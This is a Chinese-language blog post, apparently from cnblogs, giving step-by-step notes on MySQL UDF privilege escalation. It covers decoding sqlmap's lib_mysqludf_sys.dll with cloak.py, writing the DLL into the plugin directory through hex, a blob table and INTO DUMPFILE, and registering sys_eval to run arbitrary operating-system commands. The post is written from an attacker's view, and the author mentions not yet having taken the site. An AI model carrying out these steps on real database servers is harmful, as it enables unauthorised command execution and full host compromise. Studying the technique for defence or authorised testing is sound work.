zoukankan      html  css  js  c++  java
  • UDF提权学习

    前言

    虽然udf提权是很早的东西了,但还是有必要学习操作一下,写的比较烂

    简介

    udf(User-Defined Functions)用户自定义函数

    UDF是mysql的一个拓展接口。用户可以通过自定义函数实现在mysql中无法方便实现的功能,对MYSQL的功能进行扩充,性质就象使用本地MYSQL函数如abs()或concat()
    ,其添加的新函数都可以在sql语句中调用,就像调用本机函数一样,

    Mysql版本 提权dll存放位置
    >5.1 mysql根路径(select @@basedir)下/lib/plugin/
    <5.1 系统目录c:windowssystem32下

    UDF提权

    然后就来快乐提权吧,源项目地址:
    https://github.com/mysqludf/lib_mysqludf_sys#readme
    然而sqlmap都准备好了:(以kali下为例)

    udf.dll的是经过编码运算的,所以需要有一个解密脚本,在这个路径下下:

    /usr/share/sqlmap/extra/cloak
    

    udf的存放位置为(这里可以选择不同系统和不同位数,注意这个是mysql的位数而不是系统位数)

    /usr/share/sqlmap/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_
    

    然后在解密脚本路径下执行命令

    cloak.py -d -i /usr/share/sqlmap/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_
    

    会在udf路径下生成lib_mysqludf_sys.dll
    在这里插入图片描述
    将这个dll根据不同版本的mysql放入不同路径,以windows phpstudy为例:

    在mysql根路径下/lib/plugin(没有的就新建文件夹:)放入dll文件:
    在这里插入图片描述
    这样本地就放入dll了


    如果是远程的mysql并且有写入权限的话 (用@@secure_file_priv查看)只要返回不是NULL就有写权限,可以在my.ini加入secure_file_priv= 开启
    在这里插入图片描述
    那么就可以这样,先将dll转换为十六进制便于传输

    SELECT hex(load_file('本地lib_mysqludf_sys.dll路径')) into dumpfile 'E:/gg.txt';
    

    然后在远程mysql中创建一个表,用来存放dll:

    CREATE TABLE udftmp (c blob); //新建一个表,名为udftmp,用于存放本地传来的udf文件的内容。
    INSERT INTO udftmp values(unhex('udf文件的16进制格式')); //在udftmp中写入udf文件内容
    SELECT c FROM udftmp INTO DUMPFILE '该存放的路径'; //将udf文件内容传入新建的udf文件中,路径根据自己的@@basedir修改
    //对于mysql小于5.1的,导出目录为C:Windows或C:WindowsSystem32
    

    参考文章:https://blog.csdn.net/x728999452/article/details/52413974
    但是如果mysql>5.1,而又没有lib文件夹就比较鸡肋,尝试用$INDEX_ALLOCATION创建文件夹却失败
    在这里插入图片描述
    这个有待研究,可能师傅们还有其他操作吧我暂时还没找到解决方法(菜


    回到本地mysql,我们已经成功在/lib/plugin/下放入了dll,然后执行:

    create function sys_eval returns string soname 'lib_mysqludf_sys.dll';
    

    攻击者可以利用lib_mysqludf_sys提供的函数执行系统命令。
    函数:
    sys_eval,执行任意命令,并将输出返回。
    sys_exec,执行任意命令,并将退出码返回。
    sys_get,获取一个环境变量。
    sys_set,创建或修改一个环境变量。

    执行后就可以命令执行了:
    在这里插入图片描述
    (站还没拿下就nm提权)


    今天是清明节,为那些因为新冠逝世的人们默哀

  • 相关阅读:
    仿苹果菜单的效果
    不用系统自带的复选框,单选按钮,选择框的样式,该怎么做
    js面向对象(三)---组件开发
    JS面向对象(二)---继承
    js面向对象(一)---基本的概念、属性、方法
    移动端新建html页面
    《程序员思维修炼》读后摘录
    做一个简单的贪吃蛇游戏
    做一个简单的遮罩层
    在不同设备上控制元素
  • 原文地址:https://www.cnblogs.com/W4nder/p/12630046.html
Copyright © 2011-2022 走看看